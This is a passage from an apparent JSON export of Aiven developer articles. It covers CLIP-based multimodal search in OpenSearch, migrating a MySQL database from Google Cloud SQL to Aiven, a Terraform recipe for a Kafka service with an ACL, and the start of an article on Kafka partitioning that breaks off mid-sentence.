photos_batch]\n    \n    # Preprocess all photos\n    photos_preprocessed = torch.stack([preprocess(photo) for photo in photos]).to(device)\n\n    with torch.no_grad():\n        # Encode the photos batch to compute the feature vectors and normalize them\n        photos_features = model.encode_image(photos_preprocessed)\n        photos_features /= photos_features.norm(dim=-1, keepdim=True)\n\n    # Transfer the feature vectors back to the CPU and convert to numpy\n    return photos_features.cpu().numpy()\n```\n\nCreate a function to index embeddings into OpenSearch:\n\n```py\nfrom dotenv import load_dotenv\nload_dotenv()\nSERVICE_URI = os.getenv(\"SERVICE_URI\")\n\nfrom opensearchpy import OpenSearch\nopensearch = OpenSearch(SERVICE_URI, use_ssl=True)\nfrom opensearchpy.helpers import bulk\n\ndef index_embeddings_to_opensearch(data):\n    actions = []\n    for d in data:\n        action = {\n            \"_index\": \"photos\",  # Update with your index name\n            \"_source\": {\n                \"image_url\": d['image_url'],\n                \"embedding\": d['embedding'].tolist()\n            }\n        }\n        actions.append(action)\n    success, _ = bulk(opensearch, actions, index=\"photos\")\n    print(f\"Indexed {success} embeddings to OpenSearch\")\n```\n\nIterate over images and process them in batches:\n\n```py\nimport os\n\n# Path to the directory containing photos\nimage_dir = \"photos\"\n\n# Batch size for processing images and indexing embeddings\nbatch_size = 100\n\n# List to store embeddings\ndata = []\n\n# Process images in batches\nimage_files = os.listdir(image_dir)\nfor i in range(0, len(image_files), batch_size):\n    batch_files = image_files[i:i+batch_size]\n    batch_file_paths = [os.path.join(image_dir, file) for file in batch_files]\n\n    # Compute embeddings for the batch of images\n    batch_embeddings = compute_clip_features(batch_file_paths)\n\n    # Create data dictionary for indexing\n    for file_path, embedding in zip(batch_file_paths, batch_embeddings):\n        image_url = os.path.basename(file_path).replace(\"!\", \"/\")\n        data.append({'image_url': image_url, 'embedding': embedding})\n\n    # Check if we have enough data to index\n    if len(data) \u003e= batch_size:\n        index_embeddings_to_opensearch(data)\n        data = []\n\n# Index any remaining data\nif len(data) \u003e 0:\n    index_embeddings_to_opensearch(data)\n\nprint(\"All embeddings indexed successfully.\")\n```\n\n\n## Search\n\nThe data about images is processed and already in OpenSearch. Time to create functionality to search for an image! Find all the steps in the notebook [4-run-vector-search](https://github.com/Aiven-Labs/CLIP-opensearch/blob/main/4-run-vector-search.ipynb).\n\nLoad the open CLIP model and create a function to generate an embedding for a single text:\n```py\nimport clip\nimport torch\n\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\nmodel, preprocess = clip.load(\"ViT-B/32\", device=device)\n\ndef get_single_embedding(text):\n    with torch.no_grad():\n        # Encode the text to compute the feature vector and normalize it\n        text_input = clip.tokenize([text]).to(device)\n        text_features = model.encode_text(text_input)\n        text_features /= text_features.norm(dim=-1, keepdim=True)\n\n    # Return the feature vector\n    return text_features.cpu().numpy()[0]\n```\n\nCreate a function to perform KNN search in OpenSearch:\n\n```py\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\nSERVICE_URI = os.getenv(\"SERVICE_URI\")\nindex_name = \"photos\"  # Update with your index name\n\nfrom opensearchpy import OpenSearch\nopensearch = OpenSearch(SERVICE_URI, use_ssl=True)\n\ndef knn_search(text):\n    vector = get_single_embedding(text)\n\n    body = {\n        \"query\": {\n            \"knn\": {\n                \"embedding\": {\n                    \"vector\": vector.tolist(),  # Convert to list\n                    \"k\": 2  # Number of nearest neighbors to retrieve\n                }\n            }\n        }\n    }\n\n    # Perform search\n    result = opensearch.search(index=index_name, body=body)\n    return result\n\n\n```\n\nCreate a function to display an image as a result:\n\n```py\nfrom IPython.display import display, Image\nimport pandas as pd\n\n# Read the TSV file into a DataFrame\nfile_path = 'photos.tsv000'\ndf = pd.read_csv(file_path, sep='\\t')\n\n\ndef display_image_by_id(result):\n    # Check if hits are present in the result\n    if 'hits' in result and 'hits' in result['hits']:\n        hits = result['hits']['hits']\n        # Extract image_url from the first hit\n        if hits:\n            image_url = hits[0]['_source']['image_url']\n            image_url = f\"{image_url}?w=640\"\n                \n            # Display the image\n            display(Image(url=image_url))\n        else:\n            print(\"No hits found in the result.\")\n    else:\n        print(\"Invalid result format or no hits found.\")\n```\n\nFinally, run the example:\n\n```py\ntext_input = \"dog at home\"  # Provide your text input here\nresult = knn_search(text_input)\ndisplay_image_by_id(result)\n```\n\n![Running an example with a phrase dog at home](https://cdn.sanity.io/images/sczeoy4w/production/d4730060d21aef5fcf0919ea4c39903beb0e6ea8-1710x1516.png)\n\n## What's next\n\nAfter following this tutorial you've learned how to use multimodal search with OpenSearch. If you're interested in related topics check out these articles:\n\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [Image recognition with Python, OpenCV, OpenAI CLIP and pgvector](https://aiven.io/developer/find-faces-with-pgvector)\n- [Social search in real time: Exploring Mastodon data with Apache Kafka® and OpenSearch®](https://aiven.io/developer/mastodon-kafka-opensearch) \n\n\n\n\n\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2024-03-18T09:32:30.770Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"943c8b4ca168","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2024-02-21T09:32:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The words \"When text meets image: a guide to OpenSearch® for multimodal search\" in white on a blue background. The Aiven logo is in the bottom left.","asset":{"_ref":"image-0d21d2995a02f56e03e6190c822177072163ad8c-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/opensearch-multimodal-search"},"subtitle":"Learn how to use Aiven for OpenSearch® to search both images and text to return results!","tags":[{"_key":"0a622d5ee985","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"325afbe28f21","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"78da2ea2bf75","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"f24246ab190f","_ref":"01148eca-64e7-46ba-a597-5df3e2a441b0","_type":"tag"}],"title":"When text meets image: a guide to OpenSearch® for multimodal search"}
{"__i18n_lang":"en","_createdAt":"2023-06-29T08:45:58Z","_id":"c5a5563e-479d-45e0-9946-171e9570b7a4","_rev":"lhvtNBOlLYH5KiQFQ8ZRDv","_type":"devArticle","_updatedAt":"2024-01-29T15:48:49Z","body":"As a widely used open-source relational database management system (RDBMS), MySQL plays a crucial role in storing and retrieving data for various applications in production. However, migrating a MySQL database to a new server or a different version of MySQL can be a daunting task due to potential data loss, unexpected downtime, technical complexity, or compatibility issues. \n\nIn this tutorial, we'll migrate a MySQL database from an older version to a newer version, and migrate it across cloud providers as well. We'll cover the common steps and configurations required to do this.\n\n### The (hidden) challenges of database migration\n\nDatabase migration is a complex and challenging process that requires careful planning and execution to ensure that it is done correctly and without any data loss, downtime, or security risks. Here are the five associated challenges:\n\n1. Data Loss: If the migration process is not executed correctly, it can result in data loss, which can have severe consequences for the organization that relies on the database.\n\n2. Downtime: During the migration process, the database may not be available for some time, which can result in downtime for the application. This can impact the user experience and cause financial losses for businesses that rely on the application.\n\n3. Technical Complexity: Migrating a database requires technical expertise, and it involves several complex tasks such as creating backups, restoring the database, and updating the application's configuration.\n\n4. Compatibility Issues: When migrating to a different system or platform, there may be compatibility issues with the application's current codebase, which may need to be resolved before the migration can be completed successfully.\n\n5. Security Risks: Migrating a database can also introduce security risks if not done correctly, which can compromise the integrity and confidentiality of sensitive data.\n\n### The types of MySQL database migration\n\nYou can migrate MySQL databases using snapshots or logical replication. The snapshot method takes a backup of the database and restores it to the destination server, logical replication takes this a step further and also copies individual transactions across in real-time.\n\nSnapshot is faster for initial synchronization, less resource-intensive, and easier to set up. However, it requires significantly more downtime, especially for larger servers.\n\nLogical replication, on the other hand, is a powerful technique for replicating changes between databases and ensuring high availability. While it offers granular control over data replication, it may not be the most optimal choice for large-scale or complex database migrations. The migration process typically requires a complete transfer of data, and logical replication may not provide the same level of efficiency as other methods. However, in scenarios where ongoing operations need to be minimally disrupted during the migration, logical replication can offer the advantage of allowing continuous replication of transactions.\n\nOverall, while snapshotting is useful for certain scenarios, such as one-time migrations or disaster recovery setups, logical replication might be a better choice for ongoing replication and database migrations, due to its efficiency, flexibility, and minimal impact on operations. It's worth noting that the Aiven platform offers a built-in database migration tool that uses logical replication to migrate data between MySQL instances. \n\n### Prerequisites\n\nTo follow along, you'll need:\n\n- A [Google Cloud account](https://cloud.google.com/) and [gcloud CLI installed](https://cloud.google.com/sdk/docs/install)\n- An [Aiven account]( https://console.aiven.io/signup)\n- [MySQL CLI client](https://dev.mysql.com/doc/refman/8.0/en/mysql.html) or [MySQL Shell](https://dev.mysql.com/doc/mysql-shell/8.0/en/mysqlsh.html) installed\n\n### Step 1: Plan the migration\n\nIn this tutorial, we'll migrate a MySQL 5.7 server  to a MySQL 8.0 server. In my example, we'll use Google Cloud SQL as the source and Aiven for MySQL as the target. We'll use the built-in migration tool within Aiven console. If you're migrating to a different provider, check out [MySQL migration tool](https://github.com/aiven/aiven-mysql-migrate) - an open-source tool. \n\nHere are the 7 things to remember before you start a MySQL migration:\n\n1. The target MySQL service should not contain any data.\n2. Superuser permission must be available on the source database. \n3. Both databases should be publicly accessible.\n4. Firewalls should be updated or disabled.\n5. Remote connections should be enabled on the source database.\n6. GTID should be enabled on the source database.\n7. Logical replication privileges should be granted on the source database.\n\n### Step 2: Prepare the source database and create backup\n\nIf you already have a source MySQL database available, you can use that. If not, let's create a new MySQL database and populate it with some sample data. Since this is a demo database, we'll skip the part of database backup.\n\n1. From your Google Cloud console, navigate to **Cloud SQL** and click **CREATE INSTANCE**. \n2. Choose **MySQL**, use version 5.7, **Sandbox** as the environment, and your preferred cloud zone. I named this instance *google-montreal-mysql57* but you can name it based on your preference. \n3. Once your instance is created, navigate to the **Databases** section of your instance and click **CREATE DATABASE**. You can name this database *old-mysql57-db*. You also need a database user. \n4. From the **Users** tab, click **ADD USER ACCOUNT** and create a new database user. Be sure to keep a note of the user password since you won't be able to view this again. I named this user *test-dba-mysql*. \n\nNext, let's connect to this database and add some sample data. I'll use **gcloud** CLI to connect to Google Cloud SQL instance. \n\nAt first, you need to authenticate your gcloud CLI. You'll need to allow Google Cloud SDK access to your Google Cloud account.\n\n```\ngcloud auth login\n```\n\nEnsure that you're using the correct project ID. You can use `gcloud config set project PROJECT_ID` to switch in case you're on a different project. \n\nNext, you'll connect to the Google Cloud SQL instance using the newly created user. Remember to modify the instance name or database user name if those are different for your case.\n\n```\ngcloud sql connect google-montreal-mysql57 --user=test-dba-mysql\n```\n\nGoogle Cloud allowlists your IP for incoming connection for 5 minutes. You'll need to enter the previously saved database user password at this point. Once you're connected to the database instance, select the intended database. Be sure to use the database name you chose.\n\n```\nUSE OLD-MYSQL57-DB\n```\n\nNow you can add some sample data to this database. You're free to generate this yourself or can copy of the following SQL statements:\n\n```sql\n-- Create the first table\nCREATE TABLE customers (\n  customer_id INTEGER PRIMARY KEY,\n  name VARCHAR(50) NOT NULL,\n  email VARCHAR(50) UNIQUE,\n  phone VARCHAR(20),\n  address VARCHAR(100)\n);\n\n-- Add sample data to the customers table\nINSERT INTO customers (customer_id, name, email, phone, address)\nVALUES\n  (1, 'John Smith', 'john.smith@example.com', '555-1234', '123 Main St'),\n  (2, 'Jane Doe', 'jane.doe@example.com', '555-5678', '456 Elm St'),\n  (3, 'Bob Johnson', 'bob.johnson@example.com', '555-9012', '789 Oak St');\n\n-- Create the second table\nCREATE TABLE orders (\n  order_id INTEGER PRIMARY KEY,\n  customer_id INTEGER NOT NULL,\n  order_date TIMESTAMP NOT NULL,\n  total DECIMAL(10,2) NOT NULL,\n  FOREIGN KEY (customer_id) REFERENCES customers(customer_id)\n);\n\n-- Add sample data to the orders table\nINSERT INTO orders (order_id, customer_id, order_date, total)\nVALUES\n  (1, 1, '2022-01-01 12:00:00', 50.00),\n  (2, 2, '2022-01-02 14:30:00', 100.00),\n  (3, 1, '2022-01-03 10:00:00', 25.00),\n  (4, 3, '2022-01-04 16:45:00', 75.00);\n\n-- Create the third table\nCREATE TABLE products (\n  product_id INTEGER PRIMARY KEY,\n  name VARCHAR(50) NOT NULL,\n  price DECIMAL(10,2) NOT NULL\n);\n\n-- Add sample data to the products table\nINSERT INTO products (product_id, name, price)\nVALUES\n  (1, 'Widget', 10.00),\n  (2, 'Gadget', 20.00),\n  (3, 'Doohickey', 5.00);\n```\n\nOne of the requirements of this migration is that GTID should be enabled on the source database. To check if GTID is enabled, execute:\n\n```sql\nshow global variables like 'gtid_mode';\n```\n\nIf `gtid_mode` is `ON`, your configuration is Ok. Else, you might need to check if some backup configurations like PITR are disabled or not.\n\nAt this point, you can execute `\\q` to disconnect the database connection.\n\n### Prepare the target database\n\nThe target database in my case is Aiven for MySQL running version 8.0. Assuming that you already have an Aiven account, navigate to [Aiven console](https://console.aiven.io/) and click **Create service**. Select **MySQL** as the service, choose your preferred cloud and region, select a service plan (**Hobbyist** or **Startup-4** will do), and give your MySQL service a name. I named my Aiven for MySQL service *new-mysql80-db*. Click **Create service** and the service creation process will go through *rebuilding* to *running* state.\n\nOnce *new-mysql80-db* service is running, you can check from the **Overview** page the service URI, hostname, port, and other connection details. If you have **mysqlsh** CLI tool installed, ensure that your connection to Aiven for MySQL works:\n\n```\nexport NEW_DB_URI=YOUR_AIVEN_FOR_MYSQL_SERVICE_URI\nmysqlsh --sql $NEW_DB_URI\n```\n\nIf the connection is successful, you can execute `ctrl+D` to close the connection.\n\nMake a note of the hostname for *new-mysql80-db* service. You'll need it to find the IP address of the service next. \n\n### Step 3: Authorize network IP\n\nBy default, the Google Cloud SQL instance blocks all incoming IP address to the database instance. In order to establish a connection, you'll need to specify CIDR ranges to allow specific IP addresses in those ranges to access your instance. Since you only need to connect from one specific IP address (the source database), you can add its IP address to the list of authorized networks for the target database.\n\nHowever, you only know the hostname for the Aiven for MySQL service. Use the hostname you noted down from the previous section to find out the IP address for your Aiven for MySQL service. \n\nTo find the IP address of your service, ping the hostname from the terminal:\n\n```shell\nping YOUR_HOSTNAME_HERE\n```\n\nThe response will contain the IP address that corresponds to this hostname. Here's an example:\n\n```shell\nPING dewan-redis-demo-devrel-dewan.aivencloud.com (34.118.135.75): 56 data bytes\n64 bytes from 34.118.135.75: icmp_seq=0 ttl=59 time=24.713 ms\n```\n\nOn your Google Cloud SQL instance, navigate to the **Connections** --\u003e **Networking** tab, and click **Add network**. Add the IP address of your Aiven for MySQL service with a /32 CIDR notation. For example, if the IP address is 34.35.36.37, you'll add `34.35.36.37/32` in the *Network* field. You can, optionally, give this network a name. Once done, hit **Save**.\n\nRemember, without this step, some source database might not allow incoming network connection from the target database.\n\n::alert[The IP address of your Aiven for MySQL service will change whenever a new node is deployed (scale up/down, maintenance, patches, etc). Static IPs have an extra charge associated with them and require setup.]\n\n### Step 4: Start the database migration\n\nFrom your Aiven for MySQL service's **Overview** tab, click on **Set up migration** and follow the steps. The first step is to read the guidelines for a successful database migration. For the validation step, add your source database hostname or IP, the port number, database user, and password. For my case, I used Google Cloud SQL and used the instance IP address instead of a hostname.\n\nIf you're receing the following error during the validation step of the migration, you might not have authorized the target database IP.\n\n```\naiven_mysql_migrate.exceptions.EndpointConnectionException: Connection to source failed: (2003, \"Can't connect to MySQL server on 'XX.XXX.XXX.XXX' (timed out)\")\n```\n\nGoogle Cloud SQL also has a handy tool to test service connectivity between the source and target databases under **Connections** --\u003e **CONNECTIVITY TESTS**. \n\nOnce the validation step is successful, you can proceed to **Start migration**. While the database migration is in progress, here are some things to keep in mind:\n\n- Do not write to any target database tables\n- Do not manually change the source database's replication or GTID configuration\n- Avoid any modifications that may disrupt the connection between the source and target databases, such as updating firewalls or trusted sources\n\n### Step 5: Test the migrated data\n\nLet's connect to Aiven for MySQL, the target database. \n\n```\nmysqlsh --sql $NEW_DB_URI\n```\n\nEnsure that *old-mysql57-db* is selected.\n\n```sql\nuse old-mysql57-db;\n```\n\nList tables to ensure all data is replicated.\n\n```sql\nshow tables;\n```\n\nYou can take a step further and check each of the table to ensure all the rows got replicated correctly.\n\n\n### Step 6: Update app configuration and redirect traffic\n\nOnce the migration is completed, you'll see a message \"Congratulations, migration is completed!\". At this point, follow these steps:\n\n1. Stop writes to source database\n2. Update connection settings\n3. Restrict public access\n4. Close the connection (click **Close connection** on the wizard)\n5. Restart all applications\n\n### Wrap up\n\nIn this tutorial, you learned about migrating a MySQL database from Google Cloud SQL to Aiven for MySQL. Although the sample databases might not be as large or complex like the ones in production, the underlying concepts of database migration still apply.  \n\nOftentimes, database migration can seem like a daunting task, but with the right approach and tools, it can be done smoothly and efficiently. By following the best practices outlined in this tutorial, you can ensure that your migration is successful and that your data remains safe and secure throughout the process. It's important to test thoroughly and monitor the migration carefully to minimize the risk of data loss or downtime. Additionally, don't forget to update your application's connection strings and perform any necessary configuration changes to ensure a seamless transition to the new database.\n\nIf you have any questions, please don't hesitate to ask in the [Aiven community forum](https://aiven.io/community/forum/c/mysql/16).\n\nWe also recommend the following documentation: \n\n- [Aiven for MySQL](https://aiven.io/docs/products/mysql/overview)\n- [Advanced parameters for Aiven for MySQL databases](https://aiven.io/docs/products/mysql/reference/advanced-params)\n- [Migrate an Apache Kafka instance using MirrorMaker 2](https://aiven.io/developer/kafka-migration-mirrormaker2) \n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-07-06T08:30:47.231Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"8b2e5d340717","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2023-06-29T08:29:47.198Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Migrate a MySQL database to a new version and cloud provider with Aiven","asset":{"_ref":"image-8f77cec0155b43f89c31a94331debb7e8dec2fa4-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/migrate-a-mysql-database-to-a-new-cloud-provider"},"subtitle":"Learn how to safely migrate a MySQL database to a new cloud provider, region and version without losing data on the Aiven platform","tags":[{"_key":"4ad8d2552168","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"},{"_key":"32a2d1a68db4","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"bf01fa985a36","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"de0a953e6b66","_ref":"d4e858d3-c34f-479f-b156-3ad83e807091","_type":"tag"}],"title":"Migrate a MySQL database to a new version and cloud provider"}
{"__i18n_lang":"en","_createdAt":"2023-08-22T09:20:29Z","_id":"d4596bb2-1427-497d-b642-ea2c94095067","_rev":"VeNKqGNmt13PzvGhqsSuTu","_type":"devArticle","_updatedAt":"2024-01-29T15:48:51Z","body":"This example deploys an [Aiven for Apache Kafka®](https://aiven.io/kafka) service with some custom configurations, as well as a Kafka topic, a Kafka user, and an access control list (ACL) to allow fine-grained permissions about which topic that user can access, using the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs)\n\nBefore looking at the Terraform script, let's visualize the resources:\n\n:::mermaid\n\n   flowchart LR\n      subgraph Aiven-for-Apache-Kafka\n      id4[[Aiven Kafka User]]\n      id5[[Aiven Kafka User ACL]]\n      end\n      Producer --\u003e Aiven-for-Apache-Kafka --\u003e Consumer\n\n:::\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name``, ``api_token``, and ``kafka_user_name``.\n\n## Common files\n\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n  required_providers {\n    aiven = {\n      source  = \"aiven/aiven\"\n      version = \"\u003e=4.0.0, \u003c 5.0.0\"\n    }\n  }\n}\n\nprovider \"aiven\" {\n  api_token = var.aiven_api_token\n}\n```\n\nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n\nvariable \"kafka_user_name\" {\n  description = \"Username for Aiven for Apache Kafka user\"\n  type        = string\n} \n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\nkafka_user_name     = \"\u003cA-SAMPLE-USERNAME\u003e\"\n```\n\n## Services.tf file \n\nHere is the sample Terraform script to stand-up Aiven for Apache Kafka and related resources. The script also performs some custom configurations on these resources.\n\n``services.tf`` file:\n\n```toml\nresource \"aiven_kafka\" \"demo-kafka\" {\n  project                 = var.project_name\n  cloud_name              = \"google-europe-west1\"\n  plan                    = \"business-4\"\n  service_name            = \"demo-kafka\"\n  maintenance_window_dow  = \"sunday\"\n  maintenance_window_time = \"01:00:00\"\n  default_acl             = false\n\n  kafka_user_config {\n    kafka_rest      = true\n    kafka_connect   = false\n    schema_registry = true\n    kafka_version   = \"3.4\"\n\n    kafka {\n      auto_create_topics_enable  = true\n      num_partitions             = 3\n      default_replication_factor = 2\n      min_insync_replicas        = 2\n    }\n\n    kafka_authentication_methods {\n      certificate = true\n    }\n\n    public_access {\n      kafka_rest = true\n    }\n  }\n}\n\nresource \"aiven_kafka_topic\" \"demo-kafka-topic\" {\n  project      = var.project_name\n  service_name = aiven_kafka.demo-kafka.service_name\n  topic_name   = \"demo-kafka-topic\"\n  partitions   = 5\n  replication  = 3\n}\n\nresource \"aiven_kafka_user\" \"demo-kafka-user\" {\n  project      = var.project_name\n  service_name = aiven_kafka.demo-kafka.service_name\n  username     = var.kafka_user_name\n}\n\nresource \"aiven_kafka_acl\" \"demo-kafka-user-acl\" {\n  project      = var.project_name\n  service_name = aiven_kafka.demo-kafka.service_name\n  username     = var.kafka_user_name\n  permission   = \"read\"\n  topic        = aiven_kafka_topic.demo-kafka-topic.topic_name\n}\n```\n  \n## Execute the files \n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n    \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nLet's go over a few of these configurations and understand their functions:\n\n``aiven_kafka`` resource configurations:\n\n- ``default_acl`` parameter, when set to **true**, creates default wildcard Kafka ACL. This example sets this parameter to **false** and prevents the default wildcard ACL for resources.\n\n- For ``kafka_user_config``, ``schema_registry`` is set to **true**, which enables the `Karapace Schema Registry \u003chttps://aiven.io/blog/what-is-karapace\u003e`_ and ``kafka_rest`` allows you to view the messages in the topics from the Aiven web console when set to **true**.\n\n- ``auto_create_topics_enable`` under ``kafka`` nested configurations enables the auto creation of topics when set to **true**. This means that a topic doesn't need to exist before sending a message.\n\n- ``num_partitions`` will set the number of partitions for the automatically created topics.\n\n- By default, the replication factor is 2. This example sets ``default_replication_factor`` to 2 and thus requires a minimum of two brokers. For production environments, a replication factor of 3 is recommended. \n\n- ``min_insync_replicas`` indicates that at least 2 replicas (brokers) should respond back if all replicas(brokers) are not functioning properly. When all replicas are functioning properly, this setting has no effect. \n\n- The ``certificate`` parameter under the ``kafka_authentication_methods`` nested configurations, when set to **true**, enables certificate/SSL authentication.\n\n``aiven_kafka_topic`` resource configurations:\n\n- ``partitions`` denotes the number of partitions to create in the topic, and ``replication`` sets the replication factor for the topic.\n\n``aiven_kafka_user`` resource configurations:\n\n- We are passing a preset username using ``var.kafka_user_name``\n\n``aiven_kafka_acl`` resource configurations:\n\n- This ACL allows **read** access to the ``demo-kafka-topic`` topic for the ``var.kafka_user_name`` user. \n\n::alert[By default, Aiven adds an ``avnadmin`` account to every new service and adds `admin` permission for all topics to that user. When you create your own ACLs to restrict access, you probably want to remove this ACL entry.]{title=\"Warning\"}\n\n::alert[When using the Aiven Terraform Provider, you can add the ``default_acl`` key to your ``resource`` and set it to ``false`` if you do not want to create the admin user with wildcard permissions.]{title=\"Note\"}\n\nMore resources\n--------------\n\nKeep in mind that some parameters and configurations will vary for your case. Some related resources are provided below:\n\n- [Configuration options for Aiven for Apache Kafka](https://aiven.io/docs/products/kafka/reference/advanced-params.html)\n- [Aiven for Apache Kafka access control lists permission mapping](https://aiven.io/docs/products/kafka/concepts/acl.html)\n- [How to Manage Aiven for Apache Kafka Parameters](https://www.youtube.com/watch?v=pXQZWI0ddLg)\n- [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-29T09:20:07.943Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"de5df780f165","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-dfb7670755fa79dd22f530c2a23ce8841d166754-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/apache-kafka-with-custom-configurations"},"subtitle":"Deploy an Apache Kafka® node to Aiven for Apache Kafka® with custom configurations defined in Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"478a10066927","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"56f4fc2dd393","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Apache Kafka® with custom configurations"}
{"__i18n_lang":"en","_createdAt":"2023-03-24T15:11:36Z","_id":"d960c073-cd01-4c1e-945b-6056d48b0a60","_rev":"lhvtNBOlLYH5KiQFQ8a2Xd","_type":"devArticle","_updatedAt":"2024-01-29T15:51:41Z","body":"Apache Kafka® is a distributed system. At its heart is a **set of brokers** that stores records persistently inside **topics**. Topics, in turn, are split into **partitions**. Dividing topics into such pieces allows storing and reading data in parallel. In this way producers and consumers can work with data simultaneously, achieving higher throughput and scalability.\n\nThis makes partitions crucial for a performant cluster. Reading data from distributed locations comes with two big challenges:\n\n- [**Message order:**](#challenge-of-message-order) Distributed systems split load-intensive tasks into multiple pieces that can be independently processed in parallel. In this way, we get results faster compared to the linear model. Unlike the linear approach, however, distributed systems **by design do not guarantee the order of processed data**. That’s why for such systems to work successfully, we need to make sure that the data is properly divided into independent chunks and that we understand the effect of this division on the data ordering.\n- [**Uneven record distribution:**](#challenge-of-uneven-record-distribution) Dividing data across partitions means there's a risk that partition records are distributed unevenly. To prevent this, our system needs to partition records intelligently, so that the data is proportionately balanced across available servers and across their local filesystems. \n\n\nBelow we look deeper into these challenges and mechanisms to balance load over partitions to make the best use of the cluster.\n\n## Challenge of message order\n\nTo understand what is happening with record ordering, take a look at the example visualized below. There you can see the data flow for a topic that is divided into three partitions. Messages are pushed by a producer and later retrieved by a consuming application one by one. \n\n\u003c!-- random-partitioning --\u003e\n![New records A-I being assigned to partitions 1-3 randomly. Partitions get ADG, BEH and CFI. The consumer receives IFCHEGBDA. The order within partitions is preserved.](https://cdn.sanity.io/images/sczeoy4w/production/620064c4f9222a189deb8f99dc0a45c858e90235-800x248.png)\n\nWhen consuming data from distributed partitions, we cannot guarantee the order in which consumers go through the list of partitions. That's why the sequence of the messages read by a consumer ends up different from the original order sent by the producer.\n\nReshuffling records can be totally fine for some scenarios, but for other cases you might want to read the messages in the same order as they were pushed by the producer.\n\nThe solution to this challenge is to rely on the order of the records within a single partition, where the data is guaranteed to maintain the original sequence.\n\n\u003c!-- sequence-order-guarantees --\u003e\n![Sequence order is guaranteed per partition (ADG, BEH and CFI), but not across partitions (the consumer gets ADBFEHCFI)](https://cdn.sanity.io/images/sczeoy4w/production/2361681d8b64253eaf80b0639c913fae4a76c428-800x426.png)\n\nAnd that's why, when building the product architecture, we should carefully weigh up the partitioning logic and mechanisms used to ensure that the sequence of the messages remains correct when consumers read the data.\n\n### Ways to partition data based on different scenarios\n\nThe way messages are divided across partitions is always defined in the logic of the client, meaning that it is not the **topic** which specifies this logic, but the **producers**, who push the data into the cluster. In fact, if needed, different producers can have separate partitioning approaches.\n\nThere are a variety of tools you can use to distribute data across partitions. To understand these alternatives we'll look at several scenarios.\n\n### Scenario # 1: the order of messages is not important\n\nIt's possible that, in your system, it is not necessary to preserve the order of messages. Lucky you! You can rely on the default partitioning mechanism provided by Apache Kafka and no additional logic is needed for the producers.\n\nAs an example of this scenario, imagine a service to send SMS messages. Your organization uses SMS to notify customers, and the messages are divided across multiple partitions so that they can be consumed by different processing applications in parallel. We want to distribute the work and process the messages as fast as possible. However, the **order** in which the SMS messages reach the recipients is not important. \n\nIn such cases, Apache Kafka uses a **sticky partitioning** approach (introduced as a default partitioner from version 2.4.0). This default method 